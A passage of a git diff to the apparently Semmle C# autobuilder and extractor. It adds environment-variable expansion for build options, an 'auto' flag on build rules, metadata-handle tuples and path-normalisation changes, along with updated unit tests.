--no-incremental /p:UseSharedCompilation=false test.csproj"] = 0; - Actions.RunProcess[@"C:\odasa\tools\java\bin\java -jar C:\odasa\tools\extractor-asp.jar ."] = 0; - Actions.RunProcess[@"C:\odasa\tools\odasa index --xml --extensions config csproj props xml"] = 0; + Actions.RunProcess[@"./dotnet-install.sh --channel release --version 2.1.3 --install-dir C:\Project/.dotnet"] = 0; + Actions.RunProcess[@"C:\Project/.dotnet/dotnet --info"] = 0; + Actions.RunProcess[@"C:\Project/.dotnet/dotnet clean test.csproj"] = 0; + Actions.RunProcess[@"C:\Project/.dotnet/dotnet restore test.csproj"] = 0; + Actions.RunProcess[@"C:\odasa/tools/odasa index --auto C:\Project/.dotnet/dotnet build --no-incremental /p:UseSharedCompilation=false test.csproj"] = 0; + Actions.RunProcess[@"C:\odasa\tools\java/bin/java -jar C:\odasa/tools/extractor-asp.jar ."] = 0; + Actions.RunProcess[@"C:\odasa/tools/odasa index --xml --extensions config csproj props xml"] = 0; Actions.FileExists["csharp.log"] = true; Actions.FileExists["test.csproj"] = true; Actions.GetEnvironmentVariable["TRAP_FOLDER"] = null; @@ -988,10 +996,10 @@ namespace Semmle.Extraction.Tests [Fact] public void TestDirsProjLinux() { - Actions.RunProcess[@"mono C:\odasa\tools\csharp\nuget\nuget.exe restore dirs.proj"] = 1; - Actions.RunProcess[@"C:\odasa\tools\odasa index --auto msbuild dirs.proj /p:UseSharedCompilation=false /t:rebuild /p:MvcBuildViews=true"] = 0; - Actions.RunProcess[@"C:\odasa\tools\java\bin\java -jar C:\odasa\tools\extractor-asp.jar ."] = 0; - Actions.RunProcess[@"C:\odasa\tools\odasa index --xml --extensions config csproj props xml"] = 0; + Actions.RunProcess[@"mono C:\odasa\tools/csharp/nuget/nuget.exe restore dirs.proj"] = 1; + Actions.RunProcess[@"C:\odasa/tools/odasa index --auto msbuild dirs.proj /p:UseSharedCompilation=false /t:rebuild /p:MvcBuildViews=true"] = 0; + Actions.RunProcess[@"C:\odasa\tools\java/bin/java -jar C:\odasa/tools/extractor-asp.jar ."] = 0; + Actions.RunProcess[@"C:\odasa/tools/odasa index --xml --extensions config csproj props xml"] = 0; Actions.FileExists["csharp.log"] = true; Actions.FileExists["a/test.csproj"] = true; Actions.FileExists["dirs.proj"] = true; @@ -1042,5 +1050,21 @@ namespace Semmle.Extraction.Tests var autobuilder = CreateAutoBuilder("csharp", false); TestAutobuilderScript(autobuilder, 1, 0); } + + [Fact] + public void TestAsStringWithExpandedEnvVarsWindows() + { + Actions.IsWindows = true; + Actions.GetEnvironmentVariable["LGTM_SRC"] = @"C:\repo"; + Assert.Equal(@"C:\repo\test", @"%LGTM_SRC%\test".AsStringWithExpandedEnvVars(Actions)); + } + + [Fact] + public void TestAsStringWithExpandedEnvVarsLinux() + { + Actions.IsWindows = false; + Actions.GetEnvironmentVariable["LGTM_SRC"] = "/tmp/repo"; + Assert.Equal("/tmp/repo/test", "$LGTM_SRC/test".AsStringWithExpandedEnvVars(Actions)); + } } } diff --git a/csharp/autobuilder/Semmle.Autobuild/AspBuildRule.cs b/csharp/autobuilder/Semmle.Autobuild/AspBuildRule.cs index 7765e94f5e1..a39481545d8 100644 --- a/csharp/autobuilder/Semmle.Autobuild/AspBuildRule.cs +++ b/csharp/autobuilder/Semmle.Autobuild/AspBuildRule.cs @@ -7,7 +7,7 @@ namespace Semmle.Autobuild /// class AspBuildRule : IBuildRule { - public BuildScript Analyse(Autobuilder builder) + public BuildScript Analyse(Autobuilder builder, bool auto) { var command = new CommandBuilder(builder.Actions). RunCommand(builder.Actions.PathCombine(builder.SemmleJavaHome, "bin", "java")). diff --git a/csharp/autobuilder/Semmle.Autobuild/AutobuildOptions.cs b/csharp/autobuilder/Semmle.Autobuild/AutobuildOptions.cs index 53ecf697721..4a2e906fc81 100644 --- a/csharp/autobuilder/Semmle.Autobuild/AutobuildOptions.cs +++ b/csharp/autobuilder/Semmle.Autobuild/AutobuildOptions.cs @@ -1,5 +1,6 @@ using System; using System.Linq; +using System.Text.RegularExpressions; namespace Semmle.Autobuild { @@ -37,14 +38,14 @@ namespace Semmle.Autobuild { RootDirectory = actions.GetCurrentDirectory(); VsToolsVersion = actions.GetEnvironmentVariable(prefix + "VSTOOLS_VERSION"); - MsBuildArguments = actions.GetEnvironmentVariable(prefix + "MSBUILD_ARGUMENTS"); + MsBuildArguments = actions.GetEnvironmentVariable(prefix + "MSBUILD_ARGUMENTS").AsStringWithExpandedEnvVars(actions); MsBuildPlatform = actions.GetEnvironmentVariable(prefix + "MSBUILD_PLATFORM"); MsBuildConfiguration = actions.GetEnvironmentVariable(prefix + "MSBUILD_CONFIGURATION"); MsBuildTarget = actions.GetEnvironmentVariable(prefix + "MSBUILD_TARGET"); - DotNetArguments = actions.GetEnvironmentVariable(prefix + "DOTNET_ARGUMENTS"); + DotNetArguments = actions.GetEnvironmentVariable(prefix + "DOTNET_ARGUMENTS").AsStringWithExpandedEnvVars(actions); DotNetVersion = actions.GetEnvironmentVariable(prefix + "DOTNET_VERSION"); BuildCommand = actions.GetEnvironmentVariable(prefix + "BUILD_COMMAND"); - Solution = actions.GetEnvironmentVariable(prefix + "SOLUTION").AsList(new string[0]); + Solution = actions.GetEnvironmentVariable(prefix + "SOLUTION").AsListWithExpandedEnvVars(actions, new string[0]); IgnoreErrors = actions.GetEnvironmentVariable(prefix + "IGNORE_ERRORS").AsBool("ignore_errors", false); Buildless = actions.GetEnvironmentVariable(prefix + "BUILDLESS").AsBool("buildless", false); @@ -92,12 +93,29 @@ namespace Semmle.Autobuild } } - public static string[] AsList(this string value, string[] defaultValue) + public static string[] AsListWithExpandedEnvVars(this string value, IBuildActions actions, string[] defaultValue) { if (value == null) return defaultValue; - return value.Split(new[] { '\r', '\n' }, StringSplitOptions.RemoveEmptyEntries).ToArray(); + return value. + Split(new[] { '\r', '\n' }, StringSplitOptions.RemoveEmptyEntries). + Select(s => AsStringWithExpandedEnvVars(s, actions)).ToArray(); + } + + static readonly Regex linuxEnvRegEx = new Regex(@"\$([a-zA-Z_][a-zA-Z_0-9]*)", RegexOptions.Compiled); + + public static string AsStringWithExpandedEnvVars(this string value, IBuildActions actions) + { + if (string.IsNullOrEmpty(value)) + return value; + + // `Environment.ExpandEnvironmentVariables` only works with Windows-style + // environment variables + var windowsStyle = actions.IsWindows() + ? value + : linuxEnvRegEx.Replace(value, m => $"%{m.Groups[1].Value}%"); + return actions.EnvironmentExpandEnvironmentVariables(windowsStyle); } } } diff --git a/csharp/autobuilder/Semmle.Autobuild/Autobuilder.cs b/csharp/autobuilder/Semmle.Autobuild/Autobuilder.cs index 02e3b672511..1734afc8b85 100644 --- a/csharp/autobuilder/Semmle.Autobuild/Autobuilder.cs +++ b/csharp/autobuilder/Semmle.Autobuild/Autobuilder.cs @@ -16,7 +16,8 @@ namespace Semmle.Autobuild /// Analyse the files and produce a build script. /// /// The files and options relating to the build. - BuildScript Analyse(Autobuilder builder); + /// Whether this build rule is being automatically applied. + BuildScript Analyse(Autobuilder builder, bool auto); } /// @@ -135,9 +136,9 @@ namespace Semmle.Autobuild foreach (var solution in options.Solution) { if (actions.FileExists(solution)) - ret.Add(new Solution(this, solution)); + ret.Add(new Solution(this, solution, true)); else - Log(Severity.Error, $"The specified solution file {solution} was not found"); + Log(Severity.Error, $"The specified project or solution file {solution} was not found"); } return ret; } @@ -172,7 +173,7 @@ namespace Semmle.Autobuild return ret; // Then look for `.sln` files - ret = FindFiles(".sln", f => new Solution(this, f))?.ToList(); + ret = FindFiles(".sln", f => new Solution(this, f, false))?.ToList(); if (ret != null) return ret; @@ -250,17 +251,17 @@ namespace Semmle.Autobuild switch (GetCSharpBuildStrategy()) { case CSharpBuildStrategy.CustomBuildCommand: - attempt = new BuildCommandRule().Analyse(this) & CheckExtractorRun(true); + attempt = new BuildCommandRule().Analyse(this, false) & CheckExtractorRun(true); break; case CSharpBuildStrategy.Buildless: // No need to check that the extractor has been executed in buildless mode - attempt = new StandaloneBuildRule().Analyse(this); + attempt = new StandaloneBuildRule().Analyse(this, false); break; case CSharpBuildStrategy.MSBuild: - attempt = new MsBuildRule().Analyse(this) & CheckExtractorRun(true); + attempt = new MsBuildRule().Analyse(this, false) & CheckExtractorRun(true); break; case CSharpBuildStrategy.DotNet: - attempt = new DotNetRule().Analyse(this) & CheckExtractorRun(true); + attempt = new DotNetRule().Analyse(this, false) & CheckExtractorRun(true); break; case CSharpBuildStrategy.Auto: var cleanTrapFolder = @@ -285,11 +286,11 @@ namespace Semmle.Autobuild attempt = // First try .NET Core - IntermediateAttempt(new DotNetRule().Analyse(this)) | + IntermediateAttempt(new DotNetRule().Analyse(this, true)) | // Then MSBuild - (() => IntermediateAttempt(new MsBuildRule().Analyse(this))) | + (() => IntermediateAttempt(new MsBuildRule().Analyse(this, true))) | // And finally look for a script that might be a build script - (() => new BuildCommandAutoRule().Analyse(this) & CheckExtractorRun(true)) | + (() => new BuildCommandAutoRule().Analyse(this, true) & CheckExtractorRun(true)) | // All attempts failed: print message AutobuildFailure(); break; @@ -297,8 +298,8 @@ namespace Semmle.Autobuild return attempt & - (() => new AspBuildRule().Analyse(this)) & - (() => new XmlBuildRule().Analyse(this)); + (() => new AspBuildRule().Analyse(this, false)) & + (() => new XmlBuildRule().Analyse(this, false)); } /// @@ -337,13 +338,13 @@ namespace Semmle.Autobuild BuildScript GetCppBuildScript() { if (Options.BuildCommand != null) - return new BuildCommandRule().Analyse(this); + return new BuildCommandRule().Analyse(this, false); return // First try MSBuild - new MsBuildRule().Analyse(this) | + new MsBuildRule().Analyse(this, true) | // Then look for a script that might be a build script - (() => new BuildCommandAutoRule().Analyse(this)) | + (() => new BuildCommandAutoRule().Analyse(this, true)) | // All attempts failed: print message AutobuildFailure(); } diff --git a/csharp/autobuilder/Semmle.Autobuild/BuildActions.cs b/csharp/autobuilder/Semmle.Autobuild/BuildActions.cs index 433598c5c16..edf4fc752c1 100644 --- a/csharp/autobuilder/Semmle.Autobuild/BuildActions.cs +++ b/csharp/autobuilder/Semmle.Autobuild/BuildActions.cs @@ -113,6 +113,12 @@ namespace Semmle.Autobuild /// Loads the XML document from . /// XmlDocument LoadXml(string filename); + + /// + /// Expand all Windows-style environment variables in , + /// Environment.ExpandEnvironmentVariables() + /// + string EnvironmentExpandEnvironmentVariables(string s); } /// @@ -187,6 +193,8 @@ namespace Semmle.Autobuild string IBuildActions.GetFullPath(string path) => Path.GetFullPath(path); + public string EnvironmentExpandEnvironmentVariables(string s) => Environment.ExpandEnvironmentVariables(s); + public static readonly IBuildActions Instance = new SystemBuildActions(); } } diff --git a/csharp/autobuilder/Semmle.Autobuild/BuildCommandAutoRule.cs b/csharp/autobuilder/Semmle.Autobuild/BuildCommandAutoRule.cs index 9ec8a3e16eb..8ae3ee60966 100644 --- a/csharp/autobuilder/Semmle.Autobuild/BuildCommandAutoRule.cs +++ b/csharp/autobuilder/Semmle.Autobuild/BuildCommandAutoRule.cs @@ -25,7 +25,7 @@ namespace Semmle.Autobuild "build" }; - public BuildScript Analyse(Autobuilder builder) + public BuildScript Analyse(Autobuilder builder, bool auto) { builder.Log(Severity.Info, "Attempting to locate build script"); diff --git a/csharp/autobuilder/Semmle.Autobuild/BuildCommandRule.cs b/csharp/autobuilder/Semmle.Autobuild/BuildCommandRule.cs index 2dd3a144222..8019b5798bc 100644 --- a/csharp/autobuilder/Semmle.Autobuild/BuildCommandRule.cs +++ b/csharp/autobuilder/Semmle.Autobuild/BuildCommandRule.cs @@ -5,7 +5,7 @@ /// class BuildCommandRule : IBuildRule { - public BuildScript Analyse(Autobuilder builder) + public BuildScript Analyse(Autobuilder builder, bool auto) { if (builder.Options.BuildCommand == null) return BuildScript.Failure; diff --git a/csharp/autobuilder/Semmle.Autobuild/DotNetRule.cs b/csharp/autobuilder/Semmle.Autobuild/DotNetRule.cs index c9622d2cf26..9cce54ab50e 100644 --- a/csharp/autobuilder/Semmle.Autobuild/DotNetRule.cs +++ b/csharp/autobuilder/Semmle.Autobuild/DotNetRule.cs @@ -14,22 +14,25 @@ namespace Semmle.Autobuild /// class DotNetRule : IBuildRule { - public BuildScript Analyse(Autobuilder builder) + public BuildScript Analyse(Autobuilder builder, bool auto) { if (!builder.ProjectsOrSolutionsToBuild.Any()) return BuildScript.Failure; - var notDotNetProject = builder.ProjectsOrSolutionsToBuild. - SelectMany(p => Enumerators.Singleton(p).Concat(p.IncludedProjects)). - OfType(). - FirstOrDefault(p => !p.DotNetProject); - if (notDotNetProject != null) + if (auto) { - builder.Log(Severity.Info, "Not using .NET Core because of incompatible project {0}", notDotNetProject); - return BuildScript.Failure; - } + var notDotNetProject = builder.ProjectsOrSolutionsToBuild. + SelectMany(p => Enumerators.Singleton(p).Concat(p.IncludedProjects)). + OfType(). + FirstOrDefault(p => !p.DotNetProject); + if (notDotNetProject != null) + { + builder.Log(Severity.Info, "Not using .NET Core because of incompatible project {0}", notDotNetProject); + return BuildScript.Failure; + } - builder.Log(Severity.Info, "Attempting to build using .NET Core"); + builder.Log(Severity.Info, "Attempting to build using .NET Core"); + } return WithDotNet(builder, dotNet => { diff --git a/csharp/autobuilder/Semmle.Autobuild/MsBuildRule.cs b/csharp/autobuilder/Semmle.Autobuild/MsBuildRule.cs index 2b46d8d526e..593039919ed 100644 --- a/csharp/autobuilder/Semmle.Autobuild/MsBuildRule.cs +++ b/csharp/autobuilder/Semmle.Autobuild/MsBuildRule.cs @@ -13,12 +13,13 @@ namespace Semmle.Autobuild /// const string MsBuild = "msbuild"; - public BuildScript Analyse(Autobuilder builder) + public BuildScript Analyse(Autobuilder builder, bool auto) { if (!builder.ProjectsOrSolutionsToBuild.Any()) return BuildScript.Failure; - builder.Log(Severity.Info, "Attempting to build using MSBuild"); + if (auto) + builder.Log(Severity.Info, "Attempting to build using MSBuild"); var vsTools = GetVcVarsBatFile(builder); diff --git a/csharp/autobuilder/Semmle.Autobuild/Project.cs b/csharp/autobuilder/Semmle.Autobuild/Project.cs index 87088d1edfb..47752f691a4 100644 --- a/csharp/autobuilder/Semmle.Autobuild/Project.cs +++ b/csharp/autobuilder/Semmle.Autobuild/Project.cs @@ -39,9 +39,9 @@ namespace Semmle.Autobuild { projFile = builder.Actions.LoadXml(FullPath); } - catch (XmlException) + catch (Exception e) when (e is XmlException || e is FileNotFoundException) { - builder.Log(Severity.Info, $"Skipping project file {path} as it is not a valid XML document."); + builder.Log(Severity.Info, $"Unable to read project file {path}."); return; } @@ -80,7 +80,7 @@ namespace Semmle.Autobuild var projectFilesIncludes = root.SelectNodes("//msbuild:Project/msbuild:ItemGroup/msbuild:ProjectFiles/@Include", mgr).OfType(); foreach (var include in projectFileIncludes.Concat(projectFilesIncludes)) { - var includePath = builder.Actions.IsWindows() ? include.Value : include.Value.Replace("\\", "/"); + var includePath = builder.Actions.PathCombine(include.Value.Split('\\', StringSplitOptions.RemoveEmptyEntries)); ret.Add(new Project(builder, builder.Actions.PathCombine(Path.GetDirectoryName(this.FullPath), includePath))); } return ret; diff --git a/csharp/autobuilder/Semmle.Autobuild/Solution.cs b/csharp/autobuilder/Semmle.Autobuild/Solution.cs index 312e7deeb54..a5512a84ea6 100644 --- a/csharp/autobuilder/Semmle.Autobuild/Solution.cs +++ b/csharp/autobuilder/Semmle.Autobuild/Solution.cs @@ -4,6 +4,8 @@ using System; using System.Collections.Generic; using System.Linq; using Semmle.Util; +using System.IO; +using Semmle.Util.Logging; namespace Semmle.Autobuild { @@ -55,25 +57,33 @@ namespace Semmle.Autobuild public string DefaultPlatformName => solution == null ? "" : solution.GetDefaultPlatformName(); - public Solution(Autobuilder builder, string path) : base(builder, path) + public Solution(Autobuilder builder, string path, bool allowProject) : base(builder, path) { try { solution = SolutionFile.Parse(FullPath); - - includedProjects = - solution.ProjectsInOrder. - Where(p => p.ProjectType == SolutionProjectType.KnownToBeMSBuildFormat). - Select(p => builder.Actions.GetFullPath(FileUtils.ConvertToNative(p.AbsolutePath))). - Select(p => new Project(builder, p)). - ToArray(); } - catch (InvalidProjectFileException) + catch (Exception e) when (e is InvalidProjectFileException || e is FileNotFoundException) { // We allow specifying projects as solutions in lgtm.yml, so model // that scenario as a solution with just that one project - includedProjects = new[] { new Project(builder, path) }; + if (allowProject) + { + includedProjects = new[] { new Project(builder, path) }; + return; + } + + builder.Log(Severity.Info, $"Unable to read solution file {path}."); + includedProjects = new Project[0]; + return; } + + includedProjects = + solution.ProjectsInOrder. + Where(p => p.ProjectType == SolutionProjectType.KnownToBeMSBuildFormat). + Select(p => builder.Actions.PathCombine(Path.GetDirectoryName(path), builder.Actions.PathCombine(p.RelativePath.Split('\\', StringSplitOptions.RemoveEmptyEntries)))). + Select(p => new Project(builder, p)). + ToArray(); } IEnumerable ToolsVersions => includedProjects.Where(p => p.ValidToolsVersion).Select(p => p.ToolsVersion); diff --git a/csharp/autobuilder/Semmle.Autobuild/StandaloneBuildRule.cs b/csharp/autobuilder/Semmle.Autobuild/StandaloneBuildRule.cs index 3fafa84e454..366ce1f08fc 100644 --- a/csharp/autobuilder/Semmle.Autobuild/StandaloneBuildRule.cs +++ b/csharp/autobuilder/Semmle.Autobuild/StandaloneBuildRule.cs @@ -7,7 +7,7 @@ namespace Semmle.Autobuild /// class StandaloneBuildRule : IBuildRule { - public BuildScript Analyse(Autobuilder builder) + public BuildScript Analyse(Autobuilder builder, bool auto) { BuildScript GetCommand(string solution) { diff --git a/csharp/autobuilder/Semmle.Autobuild/XmlBuildRule.cs b/csharp/autobuilder/Semmle.Autobuild/XmlBuildRule.cs index 420fc508bfb..8d34fde6413 100644 --- a/csharp/autobuilder/Semmle.Autobuild/XmlBuildRule.cs +++ b/csharp/autobuilder/Semmle.Autobuild/XmlBuildRule.cs @@ -7,7 +7,7 @@ namespace Semmle.Autobuild /// class XmlBuildRule : IBuildRule { - public BuildScript Analyse(Autobuilder builder) + public BuildScript Analyse(Autobuilder builder, bool auto) { var command = new CommandBuilder(builder.Actions). RunCommand(builder.Odasa). diff --git a/csharp/extractor/Semmle.Extraction.CIL/Entities/Field.cs b/csharp/extractor/Semmle.Extraction.CIL/Entities/Field.cs index dbb61871794..a2e5fbc733e 100644 --- a/csharp/extractor/Semmle.Extraction.CIL/Entities/Field.cs +++ b/csharp/extractor/Semmle.Extraction.CIL/Entities/Field.cs @@ -4,6 +4,7 @@ using System.Linq; using Microsoft.CodeAnalysis; using System.Reflection.Metadata; using System.Reflection; +using System.Reflection.Metadata.Ecma335; namespace Semmle.Extraction.CIL.Entities { @@ -72,11 +73,13 @@ namespace Semmle.Extraction.CIL.Entities sealed class DefinitionField : Field { + readonly Handle handle; readonly FieldDefinition fd; readonly GenericContext gc; public DefinitionField(GenericContext gc, FieldDefinitionHandle handle) : base(gc.cx) { + this.handle = handle; this.gc = gc; fd = cx.mdReader.GetFieldDefinition(handle); ShortId = DeclaringType.ShortId + cx.Dot + Name; @@ -86,6 +89,8 @@ namespace Semmle.Extraction.CIL.Entities { get { + yield return Tuples.metadata_handle(this, cx.assembly, MetadataTokens.GetToken(handle)); + foreach (var c in base.Contents) yield return c; diff --git a/csharp/extractor/Semmle.Extraction.CIL/Entities/File.cs b/csharp/extractor/Semmle.Extraction.CIL/Entities/File.cs index de8f890312a..185d12df294 100644 --- a/csharp/extractor/Semmle.Extraction.CIL/Entities/File.cs +++ b/csharp/extractor/Semmle.Extraction.CIL/Entities/File.cs @@ -16,8 +16,8 @@ namespace Semmle.Extraction.CIL.Entities public File(Context cx, string path) : base(cx) { - this.path = path.Replace("\\", "/"); - ShortId = new StringId(path.Replace(":", "_")); + this.path = Semmle.Extraction.Entities.File.PathAsDatabaseString(path); + ShortId = new StringId(Semmle.Extraction.Entities.File.PathAsDatabaseId(path)); } public override IEnumerable Contents diff --git a/csharp/extractor/Semmle.Extraction.CIL/Entities/Folder.cs b/csharp/extractor/Semmle.Extraction.CIL/Entities/Folder.cs index 0ed1b51dd99..5a7f7bd83bb 100644 --- a/csharp/extractor/Semmle.Extraction.CIL/Entities/Folder.cs +++ b/csharp/extractor/Semmle.Extraction.CIL/Entities/Folder.cs @@ -14,7 +14,7 @@ namespace Semmle.Extraction.CIL.Entities public Folder(Context cx, string path) : base(cx) { this.path = path; - ShortId = new StringId(path.Replace("\\", "/").Replace(":", "_")); + ShortId = new StringId(Semmle.Extraction.Entities.File.PathAsDatabaseId(path)); } static readonly Id suffix = new StringId(";folder"); @@ -33,7 +33,7 @@ namespace Semmle.Extraction.CIL.Entities yield return parentFolder; yield return Tuples.containerparent(parentFolder, this); } - yield return Tuples.folders(this, path, Path.GetFileName(path)); + yield return Tuples.folders(this, Semmle.Extraction.Entities.File.PathAsDatabaseString(path), Path.GetFileName(path)); } } diff --git a/csharp/extractor/Semmle.Extraction.CIL/Entities/Method.cs b/csharp/extractor/Semmle.Extraction.CIL/Entities/Method.cs index 7125f524b5e..314ecb7ca92 100644 --- a/csharp/extractor/Semmle.Extraction.CIL/Entities/Method.cs +++ b/csharp/extractor/Semmle.Extraction.CIL/Entities/Method.cs @@ -5,6 +5,7 @@ using Microsoft.CodeAnalysis; using System.Collections.Generic; using System.Reflection; using System.Linq; +using System.Reflection.Metadata.Ecma335; namespace Semmle.Extraction.CIL.Entities { @@ -134,6 +135,7 @@ namespace Semmle.Extraction.CIL.Entities /// class DefinitionMethod : Method, IMember { + readonly Handle handle; readonly MethodDefinition md; readonly PDB.IMethod methodDebugInformation; @@ -147,6 +149,7 @@ namespace Semmle.Extraction.CIL.Entities { md = cx.mdReader.GetMethodDefinition(handle); this.gc = gc; + this.handle = handle; name = cx.GetId(md.Name); declaringType = (Type)cx.CreateGeneric(this, md.GetDeclaringType()); @@ -205,6 +208,7 @@ namespace Semmle.Extraction.CIL.Entities Attribute.Populate(cx, pe, p.GetCustomAttributes()); } + yield return Tuples.metadata_handle(this, cx.assembly, MetadataTokens.GetToken(handle)); yield return Tuples.cil_method(this, Name, declaringType, typeSignature.ReturnType); yield return Tuples.cil_method_source_declaration(this, this); yield return Tuples.cil_method_location(this, cx.assembly); diff --git a/csharp/extractor/Semmle.Extraction.CIL/Entities/Property.cs b/csharp/extractor/Semmle.Extraction.CIL/Entities/Property.cs index 2adacd2e804..501031ccd95 100644 --- a/csharp/extractor/Semmle.Extraction.CIL/Entities/Property.cs +++ b/csharp/extractor/Semmle.Extraction.CIL/Entities/Property.cs @@ -1,6 +1,7 @@ using System.Collections.Generic; using System.Reflection.Metadata; using System.Linq; +using System.Reflection.Metadata.Ecma335; namespace Semmle.Extraction.CIL.Entities { @@ -16,12 +17,14 @@ namespace Semmle.Extraction.CIL.Entities /// class Property : LabelledEntity, IProperty { + readonly Handle handle; readonly Type type; readonly PropertyDefinition pd; static readonly Id suffix = CIL.Id.Create(";cil-property"); public Property(GenericContext gc, Type type, PropertyDefinitionHandle handle) : base(gc.cx) { + this.handle = handle; pd = cx.mdReader.GetPropertyDefinition(handle); this.type = type; @@ -35,6 +38,7 @@ namespace Semmle.Extraction.CIL.Entities { get { + yield return Tuples.metadata_handle(this, cx.assembly, MetadataTokens.GetToken(handle)); var sig = pd.DecodeSignature(cx.TypeSignatureDecoder, type); yield return Tuples.cil_property(this, type, cx.ShortName(pd.Name), sig.ReturnType); diff --git a/csharp/extractor/Semmle.Extraction.CIL/Entities/Type.cs b/csharp/extractor/Semmle.Extraction.CIL/Entities/Type.cs index f9e691be921..37e6b84436a 100644 --- a/csharp/extractor/Semmle.Extraction.CIL/Entities/Type.cs +++ b/csharp/extractor/Semmle.Extraction.CIL/Entities/Type.cs @@ -248,11 +248,13 @@ namespace Semmle.Extraction.CIL.Entities /// public sealed class TypeDefinitionType : Type { + readonly Handle handle; readonly TypeDefinition td; public TypeDefinitionType(Context cx, TypeDefinitionHandle handle) : base(cx) { td = cx.mdReader.GetTypeDefinition(handle); + this.handle = handle; declType = td.GetDeclaringType().IsNil ? null : @@ -373,6 +375,8 @@ namespace Semmle.Extraction.CIL.Entities { get { + yield return Tuples.metadata_handle(this, cx.assembly, handle.GetHashCode()); + foreach (var c in base.Contents) yield return c; MakeTypeParameters(); diff --git a/csharp/extractor/Semmle.Extraction.CIL/Tuples.cs b/csharp/extractor/Semmle.Extraction.CIL/Tuples.cs index f75adc2963c..c9ce1eebb83 100644 --- a/csharp/extractor/Semmle.Extraction.CIL/Tuples.cs +++ b/csharp/extractor/Semmle.Extraction.CIL/Tuples.cs @@ -200,6 +200,9 @@ namespace Semmle.Extraction.CIL internal static Tuple locations_default(ISourceLocation label, IFile file, int startLine, int startCol, int endLine, int endCol) => new Tuple("locations_default", label, file, startLine, startCol, endLine, endCol); + internal static Tuple metadata_handle(IEntity entity, Assembly assembly, int handleValue) => + new Tuple("metadata_handle", entity, assembly, handleValue); + internal static Tuple namespaces(INamespace ns, string name) => new Tuple("namespaces", ns, name); diff --git a/csharp/extractor/Semmle.Extraction.CSharp/Entities/Field.cs b/csharp/extractor/Semmle.Extraction.CSharp/Entities/Field.cs index 541d49968e6..ee2b329273b 100644 --- a/csharp/extractor/Semmle.Extraction.CSharp/Entities/Field.cs +++ b/csharp/extractor/Semmle.Extraction.CSharp/Entities/Field.cs @@ -24,6 +24,7 @@ namespace Semmle.Extraction.CSharp.Entities public override void Populate() { + ExtractMetadataHandle(); ExtractAttributes(); ContainingType.ExtractGenerics(); diff --git a/csharp/extractor/Semmle.Extraction.CSharp/Entities/Method.cs b/csharp/extractor/Semmle.Extraction.CSharp/Entities/Method.cs index b2ff15c5927..5c9f82a7b54 100644 --- a/csharp/extractor/Semmle.Extraction.CSharp/Entities/Method.cs +++ b/csharp/extractor/Semmle.Extraction.CSharp/Entities/Method.cs @@ -368,6 +368,7 @@ namespace Semmle.Extraction.CSharp.Entities ExtractParameters(); ExtractMethodBody(); ExtractGenerics(); + ExtractMetadataHandle(); } public override TrapStackBehaviour TrapStackBehaviour => TrapStackBehaviour.PushesLabel; diff --git a/csharp/extractor/Semmle.Extraction.CSharp/Entities/Property.cs b/csharp/extractor/Semmle.Extraction.CSharp/Entities/Property.cs index 2f597625790..a682df4744d 100644 --- a/csharp/extractor/Semmle.Extraction.CSharp/Entities/Property.cs +++ b/csharp/extractor/Semmle.Extraction.CSharp/Entities/Property.cs @@ -26,6 +26,7 @@ namespace Semmle.Extraction.CSharp.Entities public override void Populate() { + ExtractMetadataHandle(); ExtractAttributes(); ExtractModifiers(); BindComments(); diff --git a/csharp/extractor/Semmle.Extraction.CSharp/Entities/Symbol.cs b/csharp/extractor/Semmle.Extraction.CSharp/Entities/Symbol.cs index 0c56855db81..cb1b78ba053 100644 --- a/csharp/extractor/Semmle.Extraction.CSharp/Entities/Symbol.cs +++ b/csharp/extractor/Semmle.Extraction.CSharp/Entities/Symbol.cs @@ -3,6 +3,8 @@ using Microsoft.CodeAnalysis.CSharp.Syntax; using Semmle.Extraction.Entities; using System.Collections.Generic; using System.Linq; +using System.Reflection.Metadata; +using System.Reflection.Metadata.Ecma335; namespace Semmle.Extraction.CSharp.Entities { @@ -98,5 +100,35 @@ namespace Semmle.Extraction.CSharp.Entities public override bool NeedsPopulation => Context.Defines(symbol); public Extraction.Entities.Location Location => Context.Create(ReportingLocation); + + protected void ExtractMetadataHandle() + { + var handle = MetadataHandle; + + if (handle.HasValue) + Context.Emit(Tuples.metadata_handle(this, Location, MetadataTokens.GetToken(handle.Value))); + } + + public Handle? MetadataHandle + { + get + { + var propertyInfo = symbol.GetType().GetProperty("Handle", + System.Reflection.BindingFlags.Instance | System.Reflection.BindingFlags.NonPublic | System.Reflection.BindingFlags.GetProperty); + + if (propertyInfo != null) + { + switch (propertyInfo.GetValue(symbol)) + { + case MethodDefinitionHandle md: return md; + case TypeDefinitionHandle td: return td; + case PropertyDefinitionHandle pd: return pd; + case FieldDefinitionHandle fd: return fd; + } + } + + return null; + } + } } } diff --git a/csharp/extractor/Semmle.Extraction.CSharp/Entities/Types/Type.cs b/csharp/extractor/Semmle.Extraction.CSharp/Entities/Types/Type.cs index 7198aee520d..465015019fd 100644 --- a/csharp/extractor/Semmle.Extraction.CSharp/Entities/Types/Type.cs +++ b/csharp/extractor/Semmle.Extraction.CSharp/Entities/Types/Type.cs @@ -86,6 +86,7 @@ namespace Semmle.Extraction.CSharp.Entities protected void ExtractType() { + ExtractMetadataHandle(); ExtractAttributes(); var tb = new DisplayNameTrapBuilder(); diff --git a/csharp/extractor/Semmle.Extraction.CSharp/Tuples.cs b/csharp/extractor/Semmle.Extraction.CSharp/Tuples.cs index 2d118256a08..3e318c75e3d 100644 --- a/csharp/extractor/Semmle.Extraction.CSharp/Tuples.cs +++ b/csharp/extractor/Semmle.Extraction.CSharp/Tuples.cs @@ -130,6 +130,9 @@ namespace Semmle.Extraction.CSharp internal static Tuple localvars(LocalVariable key, int @const, string name, int @var, Type type, Expression expr) => new Tuple("localvars", key, @const, name, @var, type, expr); + public static Tuple metadata_handle(IEntity entity, Location assembly, int handleValue) => + new Tuple("metadata_handle", entity, assembly, handleValue); + internal static Tuple method_location(Method method, Location location) => new Tuple("method_location", method, location); internal static Tuple methods(Method method, string name, Type declType, Type retType, Method originalDefinition) => new Tuple("methods", method, name, declType, retType, originalDefinition); diff --git a/csharp/extractor/Semmle.Extraction/Entities/File.cs b/csharp/extractor/Semmle.Extraction/Entities/File.cs index c49daf70329..531e9a30761 100644 --- a/csharp/extractor/Semmle.Extraction/Entities/File.cs +++ b/csharp/extractor/Semmle.Extraction/Entities/File.cs @@ -19,7 +19,7 @@ namespace Semmle.Extraction.Entities private set; } - public string DatabasePath => FileAsDatabaseString(Path); + public string DatabasePath => PathAsDatabaseId(Path); public override bool NeedsPopulation => Context.DefinesFile(Path) || Path == Context.Extractor.OutputPath; @@ -41,7 +41,7 